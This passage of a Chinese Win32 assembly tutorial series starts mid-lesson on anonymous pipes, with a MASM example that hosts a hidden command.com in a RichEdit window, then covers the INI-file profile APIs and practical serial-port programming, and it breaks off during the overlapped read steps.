填写好以后，就可以用 CreateProcess 来执行子进程了，具体有关执行子进程的操作可以参考上一篇教程《进程控制》

3. 在程序中可以用 PeekNamedPipe 查询子进程有没有输出，原形如下：

BOOL PeekNamedPipe(
HANDLE hNamedPipe, // handle to pipe to copy from
LPVOID lpBuffer, // pointer to data buffer
DWORD nBufferSize, // size, in bytes, of data buffer
LPDWORD lpBytesRead, // pointer to number of bytes read
LPDWORD lpTotalBytesAvail, // pointer to total number of bytes available
LPDWORD lpBytesLeftThisMessage // pointer to unread bytes in this message
);

我们可以将尝试读取 nBuffersize 大小的数据，然后可以通过返回的 BytesRead 得到管道中有多少数据，如果不等于零，则表示有数据可以读取。

4. 用 ReadFile 和 WriteFile 来读写管道，它们的参数是完全一样的，原形如下：

ReadFile or WriteFile(
HANDLE hFile, // handle of file to read 在这里使用管道句柄
LPVOID lpBuffer, // address of buffer that receives data 缓冲区地址
DWORD nNumberOfBytesToRead, // number of bytes to read 准备读写的字节数
LPDWORD lpNumberOfBytesRead, // address of number of bytes read，实际读到的或写入的字节数
LPOVERLAPPED lpOverlapped // address of structure for data 在这里用 NULL
);

5. 用 CloseHandle 关闭管道一和管道二的 hReadPipe和 hWritePipe 这四个句柄。

下面给出了一个例子程序，这个程序是上篇教程《进程控制》的例子的扩充，如果你对有的 api 感到陌生的话，请先阅读上一篇教程。

源程序 - 汇编源文件

DEBUG	equ	0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Programmed by 罗云彬, bigluo@telekbird.com.cn
;	Website: http://asm.yeah.net
;	LuoYunBin's Win32 ASM page (罗云彬的编程乐园)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	版本信息
;	汇编教程附带例子程序 - 管道例子
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    .386
    .model flat, stdcall
    option casemap :none   ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include		windows.inc
include		user32.inc
include		kernel32.inc
include		comctl32.inc
include		comdlg32.inc
include		gdi32.inc

includelib	user32.lib
includelib	kernel32.lib
includelib	comctl32.lib
includelib	comdlg32.lib
includelib	gdi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN	equ	1000
MENU_MAIN	equ	2000
IDM_EXEC	equ	2001
IDM_EXIT	equ	2002

F_RUNNING	equ	0001h	;进程在运行中
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        .data?

stStartUp	STARTUPINFO <?>

hInstance	dd	?
hMenu		dd	?
hWinMain	dd	?
hWinText	dd	?
hFont		dd	?
hRunThread	dd	?
hRead1		dd	?
hWrite1		dd	?
hRead2		dd	?
hWrite2		dd	?
szBuffer	db	512 dup	(?)

dwFlag		dd	?
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .data

szMenuExecute	db	'连接 MS-&DOS 方式',0
szExcuteError	db	'启动应用程序错误！',0
szCaption	db	'管道示例程序 ... http://asm.yeah.net',0
szClassName	db	'PipeExample',0
;szDllName	db	'riched32.dll',0
;szClassNameRedit db	'RichEdit',0
szDllName	db	'riched20.dll',0
szClassNameRedit db	'richedit20a',0
szCommand	db	'c:\command.com',0

stLogFont	LOGFONT	<24,0,0,0,FW_NORMAL,\
            0,0,0,ANSI_CHARSET,OUT_DEFAULT_PRECIS,\
            CLIP_STROKE_PRECIS,DEFAULT_QUALITY,\
            DEFAULT_PITCH or FF_SWISS,"Fixedsys">

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        .code

if		DEBUG
        include		Debug.asm
endif
include		Win.asm

;********************************************************************
; 执行程序用的线程
; 1. 用 CreateProcess 建立进程
; 2. 用 WaitForSingleOject 等待进程结束
;********************************************************************
_RunThread	proc	uses ebx ecx edx esi edi,\
        dwParam:DWORD
        local	@stSecurity:SECURITY_ATTRIBUTES
        local	@dwExitCode
        local	@dwBytesRead
        local	@stRange:CHARRANGE

        or	dwFlag,F_RUNNING
;********************************************************************
; “执行”菜单改为“结束”
;********************************************************************
        invoke	EnableMenuItem,hMenu,IDM_EXEC,MF_GRAYED
        invoke	EnableMenuItem,hMenu,IDM_EXIT,MF_GRAYED
;********************************************************************
; 建立管道
;********************************************************************
        mov	@stSecurity.nLength,sizeof SECURITY_ATTRIBUTES
        mov	@stSecurity.lpSecurityDescriptor,NULL
        mov	@stSecurity.bInheritHandle,TRUE
        invoke	CreatePipe,addr hRead1,addr hWrite1,addr @stSecurity,NULL
        invoke	CreatePipe,addr hRead2,addr hWrite2,addr @stSecurity,NULL

;********************************************************************
; 执行文件，如果成功则等待程序结束
;********************************************************************
        invoke	GetStartupInfo,addr stStartUp
        mov	eax,hRead1
        mov	stStartUp.hStdInput,eax
        mov	eax,hWrite2
        mov	stStartUp.hStdOutput,eax
        mov	stStartUp.hStdError,eax
        mov	stStartUp.dwFlags,STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW
        mov	stStartUp.wShowWindow,SW_HIDE
        invoke	CreateProcess,NULL,addr szCommand,NULL,NULL,\
            NULL,NORMAL_PRIORITY_CLASS,NULL,NULL,offset stStartUp,offset stProcInfo
        .if	eax !=	0
            .while	TRUE
                invoke	GetExitCodeProcess,stProcInfo.hProcess,addr @dwExitCode
                .break	.if @dwExitCode != STILL_ACTIVE
                invoke	PeekNamedPipe,hRead2,addr szBuffer,511,addr @dwBytesRead,NULL,NULL
                .if	@dwBytesRead !=	0
                    invoke RtlZeroMemory,addr szBuffer,512
                    invoke	ReadFile,hRead2,addr szBuffer,@dwBytesRead,addr @dwBytesRead,NULL
                    mov	@stRange.cpMin,-1
                    mov	@stRange.cpMax,-1
                    invoke	SendMessage,hWinText,EM_EXSETSEL,0,addr	@stRange
                    invoke	SendMessage,hWinText,EM_REPLACESEL,FALSE,addr szBuffer
                    invoke	SendMessage,hWinText,EM_SCROLLCARET,NULL,NULL
                    invoke	SendMessage,hWinText,WM_SETFONT,hFont,0
                .endif
            .endw
            invoke	CloseHandle,stProcInfo.hProcess
            invoke	CloseHandle,stProcInfo.hThread
        .else
            invoke	MessageBox,hWinMain,addr szExcuteError,NULL,MB_OK or MB_ICONERROR
        .endif
;********************************************************************
; 关闭管道
;********************************************************************
        invoke CloseHandle,hRead1
        invoke CloseHandle,hWrite1
        invoke CloseHandle,hRead2
        invoke CloseHandle,hWrite2
;********************************************************************
; 把“结束”菜单改为“执行”
;********************************************************************
        invoke	EnableMenuItem,hMenu,IDM_EXEC,MF_ENABLED
        invoke	EnableMenuItem,hMenu,IDM_EXIT,MF_ENABLED
        invoke	EnableWindow,hWinText,FALSE
        and	dwFlag,not F_RUNNING
        ret

_RunThread	endp

;********************************************************************
;	窗口程序
;********************************************************************
WndMainProc	proc	uses ebx edi esi, \
        hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD

        mov	eax,wMsg
;********************************************************************
        .if	eax ==	WM_CREATE
            mov	eax,hWnd
            mov	hWinMain,eax
            call	_Init
;********************************************************************
        .elseif	eax ==	WM_SIZE
            mov	edx,lParam
            mov	ecx,edx
            shr	ecx,16
            and	edx,0ffffh
            invoke	MoveWindow,hWinText,0,0,edx,ecx,TRUE
            invoke	PostMessage,hWinText,WM_SIZE,wParam,lParam
;********************************************************************
        .elseif	eax ==	WM_CLOSE
            test	dwFlag,F_RUNNING
            .if	ZERO?
                invoke	DestroyWindow,hWinMain
                invoke	PostQuitMessage,NULL
            .endif
;********************************************************************
        .elseif	eax ==	WM_COMMAND
            mov	eax,wParam
            .if	ax ==	IDM_EXEC
;********************************************************************
; 如果没有在执行中(dwFlag 没有置位) 则建立线程，在线程中执行程序
; 如果已经在执行中，则用 TerminateProcess 终止执行
;********************************************************************
                test	dwFlag,F_RUNNING
                .if	ZERO?
                    invoke	EnableWindow,hWinText,TRUE
                    invoke	SetFocus,hWinText
                    invoke	CreateThread,NULL,NULL,offset _RunThread,\
                        NULL,NULL,offset hRunThread
                .else
                    invoke	TerminateProcess,stProcInfo.hProcess,-1
                .endif
            .elseif	ax ==	IDM_EXIT
                invoke	DestroyWindow,hWinMain
                invoke	PostQuitMessage,NULL
            .endif
        .else
            invoke	DefWindowProc,hWnd,wMsg,wParam,lParam
            ret
        .endif
        xor	eax,eax
        ret

WndMainProc	endp
;********************************************************************
; 程序入口
;********************************************************************
start:
        call	_WinMain
        invoke	ExitProcess,NULL
;********************************************************************
_WinMain	proc
        local	@stWcMain:WNDCLASSEX
        local	@stMsg:MSG
        local	@hRichEdit

        invoke	LoadLibrary,offset szDllName
        mov	@hRichEdit,eax

        invoke	InitCommonControls
        invoke	GetModuleHandle,NULL
        mov	hInstance,eax
        invoke	LoadMenu,hInstance,MENU_MAIN
        mov	hMenu,eax
;***************** 注册窗口类 ***************************************
        invoke	LoadCursor,0,IDC_ARROW
        mov	@stWcMain.hCursor,eax
        mov	@stWcMain.cbSize,sizeof	WNDCLASSEX
        mov	@stWcMain.hIconSm,0
        mov	@stWcMain.style,CS_HREDRAW or CS_VREDRAW
        mov	@stWcMain.lpfnWndProc,offset WndMainProc
        mov	@stWcMain.cbClsExtra,0
        mov	@stWcMain.cbWndExtra,0
        mov	eax,hInstance
        mov	@stWcMain.hInstance,eax
        invoke	LoadIcon,hInstance,ICO_MAIN
        mov	@stWcMain.hIcon,eax
        mov	@stWcMain.hbrBackground,COLOR_BTNFACE+1
        mov	@stWcMain.lpszClassName,offset szClassName
        mov	@stWcMain.lpszMenuName,0
        invoke	RegisterClassEx,addr @stWcMain
;***************** 建立输出窗口	*****************************************
        invoke	CreateWindowEx,NULL,\
            offset szClassName,offset szCaption,\
            WS_OVERLAPPEDWINDOW,\
            0,0,680,420,\
            NULL,hMenu,hInstance,NULL

        invoke	ShowWindow,hWinMain,SW_SHOWNORMAL
        invoke	UpdateWindow,hWinMain
;********************************************************************
        .while	TRUE
            invoke	GetMessage,addr @stMsg,NULL,0,0
            .break	.if eax	== 0
            invoke	TranslateMessage,addr @stMsg
            invoke	DispatchMessage,addr @stMsg
        .endw
        invoke	FreeLibrary,@hRichEdit
        invoke	DeleteObject,hFont
        ret

_WinMain	endp

;********************************************************************
;	输入程序
;********************************************************************
_InputProc	proc	uses ebx edi esi, \
        hWnd:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
        local	@szBuffer[4]:BYTE
        local	@dwBytesWrite

        mov	eax,uMsg
        .if	eax ==	WM_CHAR
            mov	eax,wParam
            movzx	eax,al
            mov	dword ptr @szBuffer,eax
            test	dwFlag,F_RUNNING
            .if	!ZERO?
                invoke	WriteFile,hWrite1,addr @szBuffer,1,addr @dwBytesWrite,NULL
            .endif
            xor	eax,eax
            ret
        .endif
        invoke	GetWindowLong,hWnd,GWL_USERDATA
        invoke	CallWindowProc,eax,hWnd,uMsg,wParam,lParam
        ret

_InputProc	endp
;********************************************************************
_Init		proc

;*************** 建立输出 RICHEDIT 窗口	***********************************
        invoke	CreateWindowEx,WS_EX_CLIENTEDGE,offset szClassNameRedit,\
            NULL,WS_CHILD OR WS_VISIBLE OR WS_VSCROLL OR WS_HSCROLL\
            OR ES_MULTILINE	OR ES_AUTOHSCROLL OR ES_AUTOVSCROLL,\
            0,0,0,0,\
            hWinMain,NULL,hInstance,NULL
        mov	hWinText,eax
;*************** 设置字体 ***********************************************
        invoke	CreateFontIndirect,offset stLogFont
        mov	hFont,eax
        invoke	SendMessage,hWinText,WM_SETFONT,hFont,0
        invoke	SendMessage,hWinText,EM_SETREADONLY,TRUE,NULL

        invoke	SetWindowLong,hWinText,GWL_WNDPROC,offset _InputProc
        invoke	SetWindowLong,hWinText,GWL_USERDATA,eax
        invoke	EnableWindow,hWinText,FALSE

        invoke	_CenterWindow,hWinMain
        invoke	SetFocus,hWinText

        ret

_Init		endp
;********************************************************************
        end	start

程序的分析和要点

在程序中，我先建立了一个 Richedit 控件用来显示子进程的输出，同时将 RichEdit 子类化，截取它的键盘输入以便把它发给子进程

invoke SetWindowLong,hWinText,GWL_WNDPROC,offset _InputProc

这条语句将 RichEdit 的过程指到了 _InputProc 中，然后在 _InputProc 的 WM_CHAR 中将键入的字符 WriteFile 到管道中，我在程序中先建立了两个管道，然后执行 c:\command.com，这样就得到了一个 dos 的命令行进程，然后在循环中通过 PeekNamedPipe 检测子进程有无输出，如果有的话则通过 ReadFile 读出，在显示到 RichEdit 中。

在运行例子程序的时候要注意，你可以在这个“Command.com” 中执行几乎所有的别的程序，但是不要执行如 ucdos,pctools 之类不使用标准输入输出的程序（就是在 dos 下用不了“>”或者“<”重定向的程序），由于我们在装载子进程的时候用了 WS_HIDE，所以原来的 command.com 的窗口是隐藏的，如果你执行了这种程序那就意味着你失去的对子进程的控制，因为它们不使用标准输入来接收键盘，你也就无法通过管道让它们退出。

在这里还可以引申出匿名管道的另一个用法，如果你执行的不是 command.com 而是类似于 arj.exe 的程序，然后也不用把它的输出显示到 RichEdit 中，而是在程序中处理，那么，你就可以编写一个 winarj，当然你只需编写窗口界面和 arj.exe 之间的配合而已。

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


罗云彬的Win32汇编教程

Win32汇编教程十三
INI 文件的操作

概述

在程序中经常要用到设置或者其他少量数据的存盘，以便程序在下一次执行的时候可以使用，比如说保存本次程序执行时窗口的位置、大小、一些用户设置的数据等等，在 Dos 下编程的时候，我们一般自己产生一个文件，由自己把这些数据写到文件中，然后在下一次执行的时候再读出来使用。在 Win32 编程中当然你也可以这样干，但 Windows 已经为我们提供了两种方便的办法，那就是使用注册表或者 ini 文件（Profile）来保存少量数据。本文中先介绍一下 .ini 文件的使用。

ini 文件是文本文件，中间的数据格式一般为：
[Section1 Name]
KeyName1=value1
KeyName2=value2
...

[Section2 Name]
KeyName1=value1
KeyName2=value2

ini 文件可以分为几个 Section，每个 Section 的名称用 [] 括起来，在一个 Section 中，可以有很多的 Key，每一个 Key 可以有一个值并占用一行，格式是 Key=value，Win32 对 ini 文件操作的 api 中，有一部分是对 win.ini 操作的，有一部分是对用户自定义的 ini 文件操作的。Win.in 和 system.ini 是Windows的两个非常重要的初始化文件，Windows将用户所作的选择以及各种变化的系统信息记录在这两个文件中。System.ini 描述了系统硬件的当前状态，Win.ini 文件则包含了Windows 系统运行环境的当前配置。由于 Win.ini 文件的重要性和常用性，Win32 中有专门对 Win.ini 进行操作的 api，它们是：

  1. GetProfileInt - 从 Win.ini 文件的某个 Section 取得一个 key 的整数值，它的原形是：

    GetProfileInt(
    LPCTSTR lpAppName, // 指向包含 Section 名称的字符串地址
    LPCTSTR lpKeyName, // 指向包含 Key 名称的字符串地址
    INT nDefault // 如果 Key 值没有找到，则返回缺省的值是多少
    );

    如果 Key 值没有找到的话，返回值是 nDefault 指定的缺省值，如果 Key 中的值是负数，则返回 0，如果 Key 指定的是数字和字符串的混合，则返回数字部分的值，比如说 x=1234abcd，则返回 1234

  2. GetProfileString - 从 Win.ini 文件的某个 Section 取得一个 key 的字符串，它的原形是：

    GetProfileString(
    LPCTSTR lpAppName, // 指向包含 Section 名称的字符串地址
    LPCTSTR lpKeyName, // 指向包含 Key 名称的字符串地址
    LPCTSTR lpDefault, // 如果 Key 值没有找到，则返回缺省的字符串的地址
    LPTSTR lpReturnedString, // 返回字符串的缓冲区地址
    DWORD nSize // 缓冲区的长度
    );

    返回的字符串在缓冲区内，返回的 eax 值是返回的字符串的长度（不包括尾部的0）

  3. GetProfileSection - 从 Win.ini 文件中读出整个 Section 的内容，它的原形是：

    GetProfileSection(
    LPCTSTR lpAppName, // 指向包含 Section 名称的字符串地址
    LPTSTR lpReturnedString, // 返回数据的缓冲区地址
    DWORD nSize // 返回数据的缓冲区长度
    );

  4. WriteProfileSection - 将一个整个 Section 的值 写入 Win.ini 文件的指定 Section 中，它的原形是：

    WriteProfileSection(
    LPCTSTR lpAppName, // 指向包含 Section 名称的字符串地址
    LPCTSTR lpString // 要写入的数据的地址
    );

    如果 Win.ini 没有指定的 Section，API 会新建立一个并写入数据，如果已经存在，则先删除原来 Seciton 中所有的 Key 值然后写入新的。

  5. WriteProfileString - 将一个 Key 值写入 Win.ini 文件的指定 Section 中，它的原形是：

    WriteProfileString(
    LPCTSTR lpAppName, // 指向包含 Section 名称的字符串地址
    LPCTSTR lpKeyName, // 指向包含 Key 名称的字符串地址
    LPCTSTR lpString // 要写的字符串地址
    );

    如果 Win.ini 没有指定的 Section，API 会新建 Section，如果没有指定的 Key 则新建一个 Key 并写入数据，如果已经存在，则用字符串代替原来的值。

以上的 Api 是对 Win.ini 操作的，当然对于我们来说，用的更多的是在程序运行的目录中建立自己的 ini 文件，如果需要对自己的 ini 文件操作，就要用到另一组 Api，这一组 api 和上面的很象，只要把上面一组的 Profile 换成 PrivateProfile（私有的）就可以了，参数中也相应的多了一个 ini 文件名的参数。例如 GetPrivateProfileInt、GetPrivateProfileSection、WritePrivateProfileString 等等， 下面分别介绍：

  1. GetPrivateProfileInt - 从 ini 文件的某个 Section 取得一个 key 的整数值，它的原形是：

    GetPrivateProfileInt(
    LPCTSTR lpAppName, // 指向包含 Section 名称的字符串地址
    LPCTSTR lpKeyName, // 指向包含 Key 名称的字符串地址
    INT nDefault // 如果 Key 值没有找到，则返回缺省的值是多少
    LPCTSTR lpFileName // ini 文件的文件名
    );

    中间参数和返回值的定义和 GetProfileInt 是一样的。

  2. GetPrivateProfileString - 从 ini 文件的某个 Section 取得一个 key 的字符串，它的原形是：

    GetPrivateProfileString(
    LPCTSTR lpAppName, // 指向包含 Section 名称的字符串地址
    LPCTSTR lpKeyName, // 指向包含 Key 名称的字符串地址
    LPCTSTR lpDefault, // 如果 Key 值没有找到，则返回缺省的字符串的地址
    LPTSTR lpReturnedString, // 返回字符串的缓冲区地址
    DWORD nSize // 缓冲区的长度
    LPCTSTR lpFileName // ini 文件的文件名
    );

  3. GetPrivateProfileSection - 从 ini 文件中读出整个 Section 的内容，它的原形是：

    GetPrivateProfileSection(
    LPCTSTR lpAppName, // 指向包含 Section 名称的字符串地址
    LPTSTR lpReturnedString, // 返回数据的缓冲区地址
    DWORD nSize // 返回数据的缓冲区长度
    LPCTSTR lpFileName // ini 文件的文件名
    );

    这个 api 可以读出整个 section 的内容，当你不知道 section 中有哪些 key 的时候，可以使用这个 api 将整个 section 读出后再处理。

  4. GetPrivateProfileSectionNames - 从 ini 文件中获得 Section 的名称，它的原形是：

    GetPrivateProfileSectionNames(
    LPTSTR lpszReturnBuffer, // 返回数据的缓冲区地址
    DWORD nSize // 返回数据的缓冲区长度
    LPCTSTR lpFileName // ini 文件的文件名
    );

    如果 ini 中有两个 Section: [sec1] 和 [sec2]，则返回的是 'sec1',0,'sec2',0,0 ，当你不知道 ini 中有哪些 section 的时候可以用这个 api 来获取名称

  5. WritePrivateProfileSection - 将一个整个 Section 的内容入 ini 文件的指定 Section 中，它的原形是：

    WritePrivateProfileSection(
    LPCTSTR lpAppName, // 指向包含 Section 名称的字符串地址
    LPCTSTR lpString // 要写入的数据的地址
    LPCTSTR lpFileName // ini 文件的文件名
    );

  6. WritePrivateProfileString - 将一个 Key 值写入 ini 文件的指定 Section 中，它的原形是：

    WritePrivateProfileString(
    LPCTSTR lpAppName, // 指向包含 Section 名称的字符串地址
    LPCTSTR lpKeyName, // 指向包含 Key 名称的字符串地址
    LPCTSTR lpString // 要写的字符串地址
    LPCTSTR lpFileName // ini 文件的文件名
    );

    如果 ini 中没有指定的 Section，API 会新建 Section，如果没有指定的 Key 则新建一个 Key 并写入数据，如果已经存在，则用字符串代替原来的值。当指定的 ini 也不存在的时候，API 会自动建立一个新的文件，所以使用 ini 的好处是我们不必为了保存少量的数据涉及到文件操作，就连查找文件是否存在的操作都不必要。

使用要点：

在我们实际使用的时候，用的最多的是 GetPrivateProfileString 和 WritePrivateProfileString，但在对自定义 ini 文件操作的时候要注意的是，如果 lpFileName 指定的文件没有路径的话，Api 会去 Windows 的安装目录去找而不会在当前目录找，但是每次用到 ini 函数要获取当前路径显然太麻烦了，这里有一个变通的办法，你只要在 ini 文件名前面加上 .\ 就可以了，比如说要对本目录下的 user.ini 操作，那么文件名就是 '.\user.ini' 这样显然比较方便。另外，当你要把一个 Key 清除的时候，可以使用把 lpString 指向一个空的字符串然后使用 WritePrivateProfileString。当你要把一个 section 的全部内容清空的时候，也不必把 key 一个个的清除，可以使用把 lpString 指向一个空的字符串然后使用 WritePrivateProfileSection。

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


实战串行通讯
by 罗云彬，2001.1

很长时间没有写编程文章了，最近为了编一个串行通讯的终端程序忙了近一个月，发现了在 Win32 的通讯 API 中有不少的问题，还有许多在其他串行通讯文章中没有谈到的问题，在这里准备集中谈一下，大家请下载我这一个月的“成果”：迷你终端测试一下，看看还有没有什么问题。有关串行通讯方面的基础文章，可以参考《Serial communications in Microsoft Win32》和《串行通讯编程点滴》。本文不是全面的讲述如何编写串行通讯程序，而是讨论一些实际遇到的问题。

1 选择通讯方式 -- 同步还是非同步

正如在《Serial communications in Microsoft Win32》等文章中提到的，同步（NonOverLapped）方式是比较简单的一种方式，编写起来代码的长度要明显少于异步（OverLapped）方式，我开始用同步方式编写了整个子程序，在 Windows98 下工作正常，但后来在 Windows2000下测试，发现接收正常，但一发送数据，程序就会停在那里，原因应该在于同步方式下如果有一个通讯 Api 在操作中，另一个会阻塞直到上一个操作完成，所以当读数据的线程停留在 WaitCommEvent 的时候，WriteFile 就停在那里。我又测试了我手上所有有关串行通讯的例子程序，发现所有使用同步方式的程序在 Windows 2000 下全部工作不正常，对这个问题我一直找不到解决的办法，后来在 Iczelion 站点上发现一篇文章提到 NT 下对串行通讯的处理和 9x 有些不同，根本不要指望在 NT 或 Windows 2000 下用同步方式同时收发数据，我只好又用异步方式把整个通讯子程序重新写了一遍。

所以对于这个问题的建议是：如果程序只打算工作在 Win9x 下，为了简单起见，可以用同步方式写程序，如果程序打算在 NT 下也可以工作的话，就必须用异步方式写。

2 Win32 通讯 API Bug 之一 --- CommConfigDialog

CommConfigDialog 是弹出系统内置串口设置对话框的 API，我们在设备管理器中设置串口参数的对话框就是这个，使用这个 API 时不用先打开端口，它并不针对一个已打开的端口，而是仅仅是把 DCB 的内容填写到对话框中，当按了 OK 后把输入的结果存回到 DCB 数据结构中，至于什么时候把结果设置到串口上，那就是你自己要做的事情了。

CommCinfigDialog 的定义如下：

BOOL CommConfigDialog(

LPTSTR lpszName, // pointer to device name string
HWND hWnd, // handle to window
LPCOMMCONFIG lpCC // pointer to comm. configuration structure
);

但在使用中发现，对话框有时能出来，有时出不来，最后总结的经验是问题出在 COMMCONFIG 结构的 dwSize 字段上，COMMCONFIG 的定义如下：

typedef struct _COMM_CONFIG {
DWORD dwSize;
WORD wVersion;
WORD wReserved;
DCB dcb;
DWORD dwProviderSubType;
DWORD dwProviderOffset;
DWORD dwProviderSize;
WCHAR wcProviderData[1];
} COMMCONFIG, *LPCOMMCONFIG;

在参数中，wVersion 要填 100h，dwProviderSubType 要填 1，但 dwSize 就不能填 sizeof COMMCONFIG 了，我发现好象一定要把 dwSize 设置为比 sizeof COMMCONFIG 对话框才能出来，所以我用的代码中定义了一个足够大的缓冲区作为结构的地址：

_CommConfigDialog proc
local @stCC[256]:BYTE

pushad
invoke RtlZeroMemory,addr @stCC,sizeof @stCC
mov (COMMCONFIG ptr @stCC).dwSize,256
mov (COMMCONFIG ptr @stCC).wVersion,100h
mov (COMMCONFIG ptr @stCC).dwProviderSubType,1
invoke CommConfigDialog,addr [esi].szPortName,[esi].hWnd,addr @stCC
popad
ret

_CommConfigDialog endp

3 Win32 通讯 API Bug 之二--- BuildCommDCB

BuildCommDCB 的功能是把一个字符串如 com1:9600,n,8,1 这样的转换到具体的数据填写到 DCB 中，但使用中也存在问题，我发现我用它转换象 com1:9600,e,7,1 之类的带校验位的字符串，它总是无法把这个 e 给我转换过去，设置好串口一看，成了 9600,n,7,1，而上面提到的 CommConfigDialog 返回的结果用来设置串口却是正确的，经过比较，发现问题出在 DCB.fbits.fParity 这个 bit 上，只有把这个 bit 置 1，校验位才是有效的，而 BuildCommDCB 恰恰是漏了这个 bit，所有如果你要使用 BuildCommDCB，别忘了补充把 DCB.fbits.fParity 设置回去，我用的代码是：

_BuildCommDCB proc _lpszPara,_lpstDCB

pushad
mov esi,_lpstDCB
assume esi:ptr DCB

invoke RtlZeroMemory,esi,sizeof DCB
invoke BuildCommDCB,_lpszPara,esi
;********************************************************************
; 根据校验位补充设置 DCB 中的 DCB.fbits.fParity 字段
;********************************************************************
mov dword ptr [esi].fbits,0010b

cld
@@:
lodsb
or al,al
jz @F
cmp al,'='
jz _BCD_Check
cmp al,','
jnz @B
_BCD_Check:
lodsb
or al,al
jz @F
or al,20h
cmp al,'n'
jnz @B
;********************************************************************
; 扫描到 =n 或 ,n 则取消校验位
;********************************************************************
mov esi,_lpstDCB
and dword ptr [esi].fbits,not 0010b
@@:
popad
ret

_BuildCommDCB endp

4 Win32 通讯编程的一般流程

由于同步方式相对比较简单，在这里讲述的是异步方式的流程，在其他的很多文章里提到了 Windows 通讯 API 有二十多个，它们是：

BuildCommDCB
BuildCommDCBAndTimeouts
ClearCommBreak
ClearCommError
CommConfigDialog
EscapeCommFunction
GetCommConfig
GetCommMask
GetCommModemStatus
GetCommProperties
GetCommState
GetCommTimeouts
GetDefaultCommConfig
PurgeComm
SetCommBreak
SetCommConfig
SetCommMask
SetCommState
SetCommTimeouts
SetDefaultCommConfig
SetupComm
TransmitCommChar
WaitCommEvent

我刚看到这些 API 的时候，都不知道如何使用它们，但并不是所有这些 API 都是必须用的，比如说你要检测当前串口的设置可以只用 SetCommState 而不用 GetCommProperties 和 GetCommConfig，虽然它们返回的信息可能更多。同样，如果有些值你想用缺省的，比如缓冲区的大小和超时的时间等等，那么 SetupComm 和 BuildCommDCBAndTimeouts、SetCommTimeouts 也可以不用，TransmitCommChar 是马上在发送序列中优先插入发送一个字符用的，平时也很少用到，下面讲的是必须用到的 API 和使用步骤：

  1. 建立 Event -- 用 CreateEvent

    invoke CreateEvent,NULL,TRUE,FALSE,NULL
    用异步方式操作串口必须要定义 OVERLAPPED 结构，其中的 hEvent 必须自己建立，你要定义两个 OVERLAPPED 结构，一个用于读一个用于写，当然也必须建立两个 Event，把它们放入 OVERLAPPED.hEvent

  2. 打开串口 -- 用 CreateFile

    invoke CreateFile,addr szPortName,GENERIC_READ or GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_FLAG_OVERLAPPED,NULL
    注意用异步方式必须指定 FILE_FLAG_OVERLAPPED，而文件方式必须 OPEN_EXISTING，读写必须是 GENERIC_READ or GENERIC_WRITE

  3. 设置串口参数 -- 用 SetCommState

    invoke SetCommState,hCom,addr dcbx
    hCom 是前面打开成功后返回的句柄，dcbx 是数据结构 DCB，里面包括了通讯的具体参数，至于这个参数的建立，你可以自己填写，也可以用前面提到的 BuildCommDCB 或 CommConfigDialog 填写

  4. 建立读数据的线程

    到这里，就可以开始读数据了，一般我们是在主线程中写数据，因为写是我们可以控制的，而读的时候我们不知道数据什么时候会到，所以要建立一个线程专门用来读数据，在这个线程中，我们循环地用 ReadFile 读串口，同时用 WaitCommEvent 检测线路状态。

  5. 如果要检测通讯状态，如 CTS 信号，RingIn 等等 -- 用 SetCommMask、WaitCommEvent、ClearCommError、GetCommModemStatus

    invoke SetCommMask,hCom,EV_BREAK or EV_CTS or EV_DSR or EV_ERR or EV_RING or EV_RLSD or EV_RXCHAR or EV_RXFLAG or EV_TXEMPTY
    SetCommMask 指定 WaitCommEvent 要等待的事件名称，具体的参数请查手册

    invoke WaitCommEvent,hCom,addr dwEvent,NULL
    WaitCommEvent 等待一直到 SetCommMask 指定事件之一发生

    invoke ClearCommError,hCom,addr dwError,addr stComStat
    在 WaitCommEvent 以后，要用 ClearCommError 清除事件的 Flag，以便进行下一轮 WaitCommEvent，同时这个 API 可以获得更详细的事件信息

    invoke GetCommModemStatus,hCom,addr dwModemStatus
    同样，GetCommModemStatus 是用来获得串口线路状态的，如 CTS、RING 等等，当 WaitCommEvent 返回时，只是指出了如 CTS 等等状态有变化，但具体是变成 On 还是 Off 了还要靠这个 API 去取得更详细的信息

  6. 读数据 -- 用 ReadFile

    invoke ReadFile,hCom,addr szBuffer,sizeof szBuffer,addr dwBytesRead,addr stReadState
    最后一个参数是开头定义的 OVERLAPPED 结构的地址，指定了它就表示是用异步方式的读方式，这个 API 会马上返回，接下去要用

    invoke GetOverlappedResult,hCom,addr stReadState,addr dwBytesRead,FALSE
    将其余的数据读完

